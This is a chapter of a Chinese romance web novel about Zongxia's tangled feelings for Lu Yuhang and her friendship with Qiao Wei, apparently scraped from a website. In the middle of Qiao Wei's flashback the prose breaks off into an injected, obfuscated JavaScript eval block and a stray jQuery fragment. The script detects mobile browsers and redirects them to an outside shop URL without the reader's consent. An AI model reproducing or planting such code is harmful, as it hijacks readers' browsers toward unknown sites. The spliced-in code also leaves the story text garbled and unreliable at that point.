说实话,淙夏从小到大,虽然不是传统意义里文静听话的乖学生,但也绝对称得上芦花岛五好镇民,海观一高优秀毕业生,没有做过什么踩着大众道德底线的坏事。
最坏就是坏到了路昱航头上。
她把人给亲了,又不太想负责。
酒摊上聊崩后,淙夏当晚和赵青提挤在一张床上,睡觉时脑子里复盘了下海边的对话,复到一半,她睁眼,腾地从床上惊坐起来。
靠。
有句话她当时好像说反了。
不是“我不想谈恋爱,但我有点喜欢你”,而是“我有点喜欢你,但我不想谈恋爱”。
顺序一调换,意思千差万别。
后者还属于正常范围内的拒绝,前者纯纯大渣女。
难怪路昱航问她是不是想搞暧昧,难怪路昱航那么生气。
赵青提正做着梦,被她的动作弄醒,翻了个身迷迷糊糊地问:“大半夜的你坐那儿干嘛?”
淙夏顶着乱发瞪向对面墙上的明星海报,三秒后,又直挺挺躺回去,一把拉过空调被捂住脑袋,有气无力地回答:“……没事。”
没事。
语文九十四命中注定。
活该她考不中县状元。
-
这种误会,澄清起来蛮尴尬,毕竟不论前者后者,都是不想负责,可不澄清又让人心里卡着刺。
翌日清早,淙夏遛完骑士回家,给卷毛大狗添水,添粮,梳毛,陪玩……用尽招数儿,超绝不经意地从路昱航卧室门前路过六次。
路昱航一般七点起床,七点零五的时候会把落地窗拉开。
淙夏在狗屋前心不在焉地捏着骑士的嘴筒子玩儿,直等到七点十分,落地窗仍旧窗帘紧闭。
她把手机拿出来看了眼微信聊天页面,三分钟前发的消息。
哆啦小丛:【你醒了吗】
某人一个标点符号都没回。
淙夏苦恼地揉了揉脸,第七次走到路昱航房门口,右手抬起又放下。
反复两遍。
头顶落下一道吊儿郎当的散漫声线,刚睡醒,低沉沉的,像从胸腔里发出来,和路昱航那样薄荷起泡酒似的清爽截然不同:
“——堵人呐?”
淙夏登时回头,从下往上地对上一双微微眯起的狐狸眼。
陈向维显然是才起不久,休闲衬衫的扣子敞两颗,领口有点歪,左边锁骨冒了个尖,手里拿一片吐司面包,下颌慢慢地嚼,看着她。
他把嘴里那口咽下去,下巴朝卧室门抬了抬:“想堵路昱航?”
酒摊吻这件事,变成了一笔淙夏暂时无法理清的糊涂账,她潜意识里不愿意被别人发现。
甚至没有告诉赵青提。
“随便路过。”淙夏若无其事地收回手,转移焦点,“你怎么在吃面包?早饭我放桌上了。”
陈向维他们的早饭都是淙夏遛狗回来的路上顺便买好,算日薪四百私人导游的职责之一。
陈向维没有被她带偏,但也给面子地不再继续之前的话题,他从裤兜里拿出手机,低头滑动几下,屏幕竖起朝向淙夏,问她:
“这是什么?”
淙夏看一眼屏幕上的照片,又看一眼陈向维,不知道他想干嘛,茫然又犹豫地回答道:“仙人掌?你之前去花鸟市场买的那盆。”
陈向维:“描述的详细点。”
于是淙夏又仔细观察了一下:“一盆没有刺的仙人掌。”
“知道为什么没刺吗?”陈向维收起手机,微笑着说,“因为路昱航昨天蹲在我阳台薅了一晚上。”
淙夏:“…………”
怎么办。
她好像真的给路昱航造成了很大的打击。
陈向维继续吃着吐司面包,似笑非笑地垂眼觑她:“他被他爸逼着复读那会儿也没这样过,所以你俩到底做什么了?”
淙夏:“嗯,可能,或许,发生了一点,小小的争执。”
她用拇指和食指比划出一段‘小小的’距离。
陈向维一边眉挑着,明显不信:“一点‘小小的’争执不至于让他大清早就去酒吧上班吧?”
“嗯?”淙夏愣了下,扭头望向关着的房门,“他去不倒翁了?他最近不是下午场驻唱么?”
把最后一口面包丢进嘴里,陈向维抄着兜靠上背后的楼梯护栏,好整以暇地摇了摇头:“现在改全天了。他说他要精进唱功,争取向贾斯汀比伯看齐,未来一星期都打算睡在酒吧员工宿舍。”
“……”
淙夏着实没想到。
她有一天。
居然能把路昱航气得离家出走第二次。
-
感情线乱归乱,事业线该搞还是要搞。
芦花岛面积小,比较值得一看的是当地特色海边小屋和镇政府投资维护的亚热带植物园,挺远的,在山上,陈向维开车,淙夏做导游,带他们上山下山逛个遍,最后在半山腰小店吃了当地特色的椰子饭。
小店价格虚高,胜在风景好,推开窗就是大片蓝盈盈的海,一望无际,蓝得人心颤,云朵簇拥漂浮在海面,像海盐顶端的泡沫奶盖。
一顿饭吃完,大家不着急走,陈向维反坐在椅子上跟店老板聊天,这哥社交能力一流,耿靳思说他跟路边流浪狗都能聊成生死之交。
几个女生在窗边拍照。
“你摄影水平真的很不错诶。”关皎皎来回翻看着淙夏刚刚给她拍出的几张美照,满意之情溢于言表,“我每次出来玩,都要因为耿靳思的垃圾照相术跟他分一回手。”
说完郑重其事地拍拍淙夏肩膀,“谢谢你,化解了我俩的感情危机。”
淙夏趴在窗框边,齐齐的短发被风吹得凌乱纷杂,对关皎皎的话只是笑了笑,没有接茬。
关皎皎看出她今天有点不在状态,收起手机凑到她旁边趴着:“路昱航你俩怎么了?在冷战啊?”
淙夏扭头:“……”
“不用这么惊讶地看着我,你们两个全是把心事写脸上的人。”星座大师关皎皎高深莫测地竖起一根食指,“唉,火象最好懂了。”
淙夏对星象学稍微涉猎:“这个很准嘛?不是说套在狗身上也能蒙对两条?”
“有时准咯,看你怎么分析。”关皎皎两手托着下巴,眯眼吹风,“但你俩今天不对劲的很明显啊,不用分析星座运势。”
“路昱航平时没去驻唱的时候,你在哪儿他在哪儿,就算不跟你并排走,也绝对会出现在以你为圆心的十米半径之内。不论我什么时候去注意他,他都在看你。”
关皎皎说到这,受不了地啧一声,继续道,“可今天你俩没有黏在一起,耿靳思说路昱航大清早就去酒吧了,你又这个状态,除了吵架和冷战,还能是什么?”
关皎皎分析得头头是道,淙夏无言以对。
她没有特意关注过自己和路昱航的相处方式,在外人眼里居然算得上“黏”吗?
很难想象路昱航顶着那张拽哥脸,小狗一样黏在她旁边的样子。
淙夏迎风捋了两把耳边凌乱的发丝,侧过头,发现乔薇在看她。
乔薇是被关皎皎拖出门的,在车上一直戴着墨镜,安静靠着椅背玩手机,对聊天内容不关注不参与,一副心情差差的样子。
下午逛植物园的时候,淙夏送了一支本地人免费领取的栀子花给她,她犹豫几秒,接住,然后摘下墨镜对淙夏说“谢谢”。
化了淡妆,仍能看出眼皮有点肿。
淙夏从乔薇的眼神里,察觉到她似乎有话想说,但两人对视一会儿,乔薇又把脸转开了。
火烧云满天的傍晚时分,几人开车回到小镇。
陈向维和耿靳思去不倒翁找路昱航,这次关皎皎也跟去了,说要给他们实验一棵草捧捧场子。
走的时候小声问淙夏:“你去吗?冷战什么的说开就好了。”
淙夏正准备把骑士的嘴套和遛弯用品装进帆布包,闻言对她晃晃手里的牵引绳,示意自己有事要做:“我不去啦,你们玩儿得开心。”
这当然只是借口。
淙夏不去有两个原因。
第一是路昱航现在可能不想见她,她林林总总发去五六条微信,对面一条没回。
第二是关于恋爱的话题,她心情乱乱的,讨厌逃避又不得不逃避,就算见上面也不知道怎么和路昱航重修于好。
关皎皎走后,淙夏换好鞋子,给骑士系上牵引绳,拎着滑板将要出门,被人喊住。
“姜淙夏。”
乔薇刚洗过澡,长发潮湿地垂散在腰间,随着她小跑下楼的动作,绸缎似的晃,“你要出去遛狗?可以带我一起么?”
-
淙夏本以为今天的导游工作已经结束,带上乔薇后她专业病犯了,换掉遛狗专用路线,选了一条芦花岛比较有特色的居民楼巷子。
两侧红砖石墙高高砌起,天空镶嵌在窄巷上方,变成一条细细的缎带,被晚霞涂抹得缤纷绚丽。
两个女孩牵着狗,慢悠悠地从巷中层叠错落的花枝树影下穿过,一排小麻雀停留在电线上梳毛,唧唧啾啾,跳来跳去。
淙夏一路真假参半地给乔薇讲了几个本地民俗故事,出了巷口,又把人忽悠去新华书店刮刮乐。
老板坐躺椅上扇着扇子追短剧,见淙夏就像见自家闺女似的:“哎呦,可有两天没见了。”
目光往旁边一瞥,发现是生脸,开玩笑道,“换人了啊,今天怎么不带你家那个大帅哥啦?”
乔薇靠在柜台看淙夏选抽奖卡,听到这话顿了顿,抬头瞧她一眼。
淙夏无暇分析这一眼,心里正烦,从早上到现在,陈向维盘问完关皎皎盘问,好容易出门遛个弯,书店老板也要问。
才清空十几分钟的脑子很快随着这句问话,再次被路昱航填满。
她低头,颇有些恶狠狠地用力刮着抽奖卡说:“大帅哥运气太差,耽误我中奖的效率,当然要换!”
“帅哥运气差,但帅哥有真心啊。”老板摇晃着扇子站起来,潦草看了下淙夏刮出来的数字,从抽屉里摸出六十六块钱拍在柜台上,意味深长地道,“喏,中了,每张票子都是真心。”
淙夏上一秒还在纳闷儿老板这话什么意思,下一秒被闪闪发光的崭新钞票吸走注意力。
时隔两星期,小丛同学终于又得到了幸运之神的眷顾。她认为这是她转运的开始,兴奋地把乔薇拉去隔壁冷饮店请喝奶茶。
两人走上环海公路,骑士碰见流浪的好朋狗,摇着尾巴互相转圈圈,乔薇把吸管戳进奶茶杯,冷不丁问了句:“路昱航经常陪你来书店刮刮乐么?”
淙夏正给赵青提回微信,对方如愿以偿地在不倒翁见到了Ariesline的贝斯手和鼓手,要了合照和签名,疯狂弹消息说陈向维好帅。
被乔薇这么一问,她咽一半的奶茶差点呛上来,按灭屏幕尴尬地笑了下:“呃……不算经常,他觉得很幼稚。”
所以觉得幼稚也还是陪你去了。
乔薇点点头,吸着奶茶把脸转向另一侧,盯着路边伫立的水泥灯柱看了会儿,好奇地道:“为什么每一根灯柱上都有个钢印?”
淙夏顺着看了一眼:“那是它们的编码,相当于身份证,打上编码它们就会一直待在这儿工作。”
“好无聊的一生。”乔薇评价,“人也一样,给自己打上钢印就会变成无聊的灯柱,一辈子待在一个地方,孤单庸碌。”
淙夏单脚踩着滑板,若有所思片刻,把刮刮乐的五十块纸币从兜里翻出来,背面朝向乔薇,说:“布达拉宫一辈子也只会待在西藏,被打上钢印照样有万人信拜呀。”
“……也对。”
乔薇望着纸币,表情透出分惆怅和向往,“也不知道我长大以后会成为灯柱,还是布达拉宫。”
海风从沙滩涌过来,翻起淙夏的额发,露出了光洁的额头,又鼓起她的裙摆。两个女孩一起背靠着栏杆,身后夕阳洒在海面,霞光万倾,淙夏的口吻漫不经心。
“干嘛要成为别人呢。”她说,“乔薇只做乔薇就很好啊。”
乔薇愣了一下,看向她安静几秒,忽然笑了:“我发现你和路昱航挺像的。”
淙夏咬着奶茶吸管,眨了眨杏眼:“哪方面?”
乔薇思索着道:“思考和讲话的方式?我文化课不太好,表述不出来,只是觉得你们两个有时候都很理想,很天真,也很……酷。”
跟这种人聊完天,茅塞顿悟豁然开朗不至于,但真的松旷坦荡。
“哦,我说的天真是褒义词。”乔薇补充,“约等于勇敢。”
不知道为什么,淙夏听见这两个字,莫名联想起被她藏在卧室床头柜里的粉色小兔印章。
「勇敢,真诚,浪漫的心。」
吸管戳上奶茶杯中的冰块,被吸出滋滋的空气声,淙夏回过神,唇角抿成郁闷的直线。
不停地有人在她面前提起路昱航,导致她心情完全无法平静,此刻累积到临界值,淙夏按下无处诉说的烦恼,扭头看乔薇:“我可以问你一个问题么?”
“嗯?”
“如果有一样东西,你很喜欢,很想要,但你心里清楚,一旦拿到它就必须得承担起未来某天失去它的风险,那么你还会去拿吗?”
“会的。”
乔薇不假思索的态度让淙夏意外,两人对视着,乔薇用下巴示意正和流浪狗玩闹的骑士,说:
“你养小狗的时候,不是已经知道小狗会在未来某天离开你么?但你还是养了,因为小狗当下带给你的快乐是真实的。”
“所以为什么要担心还没有发生的事情?明明我现在拥有它,我现在就会很快乐。”
海风将两人的裙角吹晃在一起,淙夏沉默半晌,没忍住感叹了句:“好简单的道理。”
居然让她白白浪费时间。
苦恼这么久。
“当局者迷旁观者清嘛,大家在回答别人时总是最理智。”乔薇转过身趴在栏杆上,云淡风轻地道,“比如我对路昱航死缠烂打,皎皎也经常骂我脑袋被门夹了。”
“可我就是喜欢他,真的……我喜欢他很久了。”
路昱航一直以为乔薇是在高二进入他的社交圈之后,才对他有的好感,其实她初中已经开始动心了。
具体哪天她不记得,只记得那天灰蒙蒙,下了阵雨,她最珍惜的鞋子在上学途中被飞驰过的汽车溅上雨水和泥渍,再加上一直练不熟李斯特的《钟》,出门前被妈妈责骂。
是个心情巨差的早晨。
颐云附中从高中部到初中部,统一更换了教室打卡签到的新系统,需要为人脸识别重新拍照。
乔薇在教室里磨蹭到最后才去,轮到她拍照时,快要打预备铃,摄影师见她那么漂亮,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17617591|203505||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
却臭着一张脸,提醒她嘴角往上扬。
可她根本笑不出来。
乔薇是倒数第三个拍照的学生,摄影师马上要下班,也有心情多聊两句,说:“让后面的男同学逗你笑一笑。”
她刚才没有关注自己后面站的两个人是谁,只听到动静,知道是早上来晚了,被校门口突击检查的教导主任拎着丢来的。
“你俩昨晚又熬夜去网吧打游戏了吧?”
“真没有,”其中一个男生正在变声期,呕哑嘲哳像公鸭嗓,嬉皮笑脸地跟教导主任扯皮,“您不信我,也得信路昱航啊,航航可是您的好学生。”
教导主任冷哼一声:“他早晚要被你带坏了!”
老师走后,公鸭嗓勾着另一个男生的肩膀,在乔薇背后怪腔怪调地学主任讲话,动作间不小心蹭到乔薇的马尾。
乔薇皱眉,往前挪了两步。
另一个男生注意到,把公鸭嗓向后拉:“好了。”
他嗓音里也带着点笑,淡淡的,有晨起的懒散,和公鸭嗓比起来简直像天籁之音,听得乔薇耳蜗酥痒,“你离远点,别带坏我。”
她当时忍着没有回头,直到现在摄影师提起,乔薇抬起眼帘,听见公鸭嗓开玩笑地说:“逗什么逗啊,老师,这可是签到打卡照,谁进教室上课不是如丧考妣,哪儿有心情笑。”
摄影师摇摇头说好吧好吧。
正要开始拍,面无表情目视着前方的乔薇忽然望见,排在最后一个的男生从公鸭嗓的背后探出头,歪着脑袋在看她,然后用拇指和食指比了一个数字八的手势,放在下巴旁边,两指指腹贴合,又张开,做了一个向上提嘴角的动作。
随着这个动作的结束,他弯着眼睛对她笑了一下。
右边唇角有小小的梨涡陷进去。
乔薇心跳倏然漏掉一拍,像一只小鸟晕头晕脑地扑着翅膀“咚”地撞在她心脏上。
她完全不知道自己什么表情,就这么被摄影师咔嚓拍下来。
那一瞬间的心动感,让乔薇后来每进教室打卡一次,看着照片被迫回想一次,回想的次数多了,路昱航变成她青春期里难以磨灭的执念。
后来她凭借钢琴特长进入颐云实验艺术班,在关皎皎和公鸭嗓耿靳思早恋的路上推波助澜,顺利踏进路昱航的社交圈,以为和他拉近关系,有的是机会从朋友变成恋人。
可他拒绝她拒绝得毫不留情。
每次心灰意冷,又觉得不甘心,擦擦眼泪再次死灰复燃。
她有天赋也愿意努力,磕磕绊绊的《钟》被她一遍又一遍练熟,选进礼堂钢琴独奏,所以她把这份努力复制拷贝到路昱航的身上。
想着他总有为她融化的一天。
去望蜊山露营的那晚,她表白,这次路昱航没有直接回应,她以为他终于有点喜欢她。
次日等来的仍是他的拒绝。
路昱航这人,扎心的时候是真的扎,他把她心思看得明明白白,更知道戳她哪里最痛。
他说之前大家一起去伦敦旅游,她站在许愿池边抛硬币要成为乐坛著名女钢琴家,可不论是为了给他做手串把弹琴的手磨出泡,还是这次放弃和乐团一起演奏的机会,都没有让他看到她对待梦想的真心。
她将所有精力放在弹琴上,还能有所收获,如果放在他身上,是绝对的沉没成本,得不到任何回报。
“你把脑子拎清楚,一份注定没结果的喜欢,和你自己的前途,哪个更重要。”路昱航眼神直白地望向她,语气是没什么情绪起伏的平铺直叙,“比起现在,当初那个抛着硬币说要成为大钢琴家的你,还有点可能吸引我多看一眼。”
……
好过分吧。
对女孩子讲这样的话。
海面上波光粼粼的夕阳倒影晃得乔薇视野模糊,她低头,揉了揉酸胀的眼睛,知道身侧的淙夏在看她,于是用满不在意的口吻说:“放心好了,我就算再喜欢他,也绝对不会去追他第三次的。”
冰块在塑料杯里缓慢融化,乔薇这次不想哭了,她扭头对淙夏抬抬下巴,像一只骄矜又有点小傲慢的长尾山雀,“我那么漂亮,钢琴弹得那么厉害,凭什么要一直倒贴,他不喜欢我,有的是人喜欢。等我以后真的当上国际著名的钢琴大家,他过来跟我打招呼,我一个标点符号都不会甩给他。”
淙夏在潮热的海风里笑起来,朝她举起奶茶杯:“祝愿望成真。”
乔薇用杯子碰回去:“谢谢,你也是咯。”
-
路昱航说到做到,真在不倒翁员工宿舍住了一晚。
淙夏去找过两次,一次他锁门补觉,一次他和阿K鲁子凡去打球,碰不上面,干脆微信骚扰。
有事没事微信“拍一拍”他,不发消息不讲话,纯钓鱼行为。
鱼挺难钓的,不上钩。
淙夏现在有那么些共情乔薇了,她换位思考了一下,如果她和路昱航不在芦花岛认识,而在颐云高中,肯定一样的擦肩而过搭不上话。
这家伙是真的难追。
八月四号,陈向维一行人准备启程回颐云,下午收拾行李的时候,淙夏去隔壁房间帮忙,顺便送了两串自己做的豆荚娃娃挂件。
东西收拾完,关皎皎和乔薇当着赵青提的面分别拥抱了淙夏一下,赵大小姐很小心眼地吃醋了,扭头去淙夏卧室卫生间,哗啦将门反锁,在里头没好气地喊:“我才几天不在你就交了新朋友,别管我了,跟你的姐姐妹妹们好去吧!”
一个还没哄好,又来一个。
淙夏脑袋都大了:“你先出来呀,别在里边中暑了。”
说着,她余光一瞥,迅速转头,从阳台栏杆的空隙间,看见个熟悉身影背对着她,正站在后院的葡萄架底下和陈向维聊着什么。
高个子,宽肩膀,戴顶渔夫帽,依旧很酷的美式工装裤穿搭。
淙夏心跳猝不及防漏一拍。
——路昱航居然回来了?
没聊一会儿,陈向维进前厅,留路昱航自己在那儿,单手插兜,低头翻着手机微信,帽檐下是修剪利落的发尾,一截后颈白皙修长。
淙夏抓紧时机上号,没想好发什么,思考间指节蹭到他头像,不小心又触发“拍一拍”模式。
这次聊天框里的提示语录变成——「你拍了拍Torchin的肩膀并说姜淙夏是狗」。
淙夏:“……”
他什么时候改的。
好幼稚。
院子里的幼稚鬼收起手机准备进屋,转身时不经意抬起头,迎着阳光微微眯起眼,目光穿过萍婆树枝干,和二楼的淙夏撞上。
两人有大概三四秒的对视。
这场景很像不久前路昱航捏着水管浇花的清晨。
淙夏低头发消息给他。
哆啦小丛:【〔红包〕】
哆啦小丛:【转你三百,请我看十次彩虹】
楼下的人收回目光,懒洋洋地瞧了眼手机,边单手打字,边抬脚往前走,很快消失在淙夏视野里。
咻。
新消息进来。
淙夏以为是钱被收了,点开聊天框却发现对面也发来一笔转账。
Torchin:【〔3000请收款〕】
Torchin:【转你三千,自己去雇辆洒水车】
“…………”
好。
难。
哄。